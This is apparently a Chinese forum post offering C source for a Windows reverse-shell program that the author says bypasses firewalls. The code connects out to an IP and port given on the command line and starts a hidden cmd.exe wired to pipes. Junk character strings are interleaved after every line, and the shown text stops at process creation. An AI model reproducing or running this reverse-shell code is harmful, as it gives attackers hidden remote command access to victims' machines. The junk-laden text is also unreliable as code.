这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 xCu\ jc)2
fzjtaH?
/* ============================== vcOw`oS
Rebound port in Windows NT OR10IS
By wind,2006/7 ?Bd6<F-G
===============================*/ 2.a{,d
#include soB_j
#include 4)snt3k
catJC3
#pragma comment(lib,"wsock32.lib") ]6WP;.[
|5BvVqn
void OutputShell();
kL -f@CD
SOCKET sClient; TPi{c_
]
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; j'SGZnsy*
4"+v:t)z6{
void main(int argc,char **argv) D<^K7tJui
{ EuD$^#
WSADATA stWsaData; #6 $WuIG
int nRet; k,/2]{#53d
SOCKADDR_IN stSaiClient,stSaiServer; R8j\CiV17
+DSZ(Zb4qY
if(argc != 3) @`SlOKz!=
{ 5%fR9?)
printf("Useage:\n\rRebound DestIP DestPort\n"); "(;t`,F
return; ;Z&w"oSJ
} j|r$!gV
'81WogH:
WSAStartup(MAKEWORD(2,2),&stWsaData); _E^ !,Wz
*Y ?&N2@c
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,Mn?h\
2cv=7!K4Uv
stSaiClient.sin_family = AF_INET; )aX#RM? N
stSaiClient.sin_port = htons(0); @WzrrCpj
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); pm*i!3g'
H<3ayp$
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) TzV~I\a|
{ iB{l:
printf("Bind Socket Failed!\n"); Q2t>E(S
return; s#(<zBZ9p#
} 69``j{Z+
Gwfi
stSaiServer.sin_family = AF_INET; 'R n\CMTH
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); &c81q2
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 6[]O3Aa
%wmbFj}
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) o5w =
{ \r\wqz7
printf("Connect Error!"); d((,R@N'
return; %Q5
|RLD
} n_t.l<V
OutputShell(); SKSI\]Cc
} 4AN(4"$N
ek0,@Vg9
void OutputShell() IU rGJ#}O
{ xbze{9n"
char szBuff[1024]; 2,'%G\QT
SECURITY_ATTRIBUTES stSecurityAttributes; ju/#V}N
OSVERSIONINFO stOsversionInfo; "l-b(8n
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; T:w %RF[v9
STARTUPINFO stStartupInfo; 5G WC
char *szShell; [mG:PTK3
PROCESS_INFORMATION stProcessInformation; +2^Mz&I@b
unsigned long lBytesRead; vb]H$@0
2PVQSwW:
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); esHcE{GNOS
TZE;$:1vx>
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); +(o]E3
stSecurityAttributes.lpSecurityDescriptor = 0; T=T1?@2C
stSecurityAttributes.bInheritHandle = TRUE; :>, m$XO
E"t79dD
[gE2;J0*
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); d>`s+B9K0
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Jgzg[6
h1Q rFPQnu
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); }LdeU:E4
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K55]W2I9
stStartupInfo.wShowWindow = SW_HIDE; ne'Y {n(8%
stStartupInfo.hStdInput = hReadPipe; Jnq}SUev
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 2~W8tv0^b2
|F?/L>
GetVersionEx(&stOsversionInfo); d/` d:g
- f%J_`
switch(stOsversionInfo.dwPlatformId) M[5fNK&nD
{ E>x,$w<?
case 1: &v&e-|r8;
szShell = "command.com"; "I^pb.3
break; "I&,':O+
default: PQ4)kVT
szShell = "cmd.exe"; n~v*
break; Q`(h
} jR mo9Bb2
]*pro|
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); &l